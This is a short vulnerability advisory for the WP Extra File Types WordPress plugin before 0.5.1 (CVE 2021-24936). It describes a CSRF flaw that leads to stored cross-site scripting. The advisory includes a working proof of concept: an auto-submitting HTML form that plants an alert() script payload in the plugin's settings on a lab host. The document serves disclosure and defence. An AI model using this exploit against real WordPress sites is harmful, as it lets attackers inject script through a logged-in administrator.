WP Extra File Types < 0.5.1 – CSRF to Stored Cross-Site Scripting | CVE 2021-24936

Description

The plugin does not have CSRF check when saving its settings, nor sanitise and escape some of them, which could allow attackers to make a logged in admin change them and perform Cross-Site Scripting attacks

Proof of Concept

<html>
  <body>
    <form action="http://wp.lab/wordpress/wp-admin/options-general.php?page=wp-extra-file-types-page" id="hack" method="POST">
      <input type="hidden" name="do_save" value="1" />
      <input type="hidden" name="custom_d[a]" value='"' />
      <input type="hidden" name="custom_e[a]" value=");alert(/XSS/);//" />
      <input type="hidden" name="custom_m[a]" value="z" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>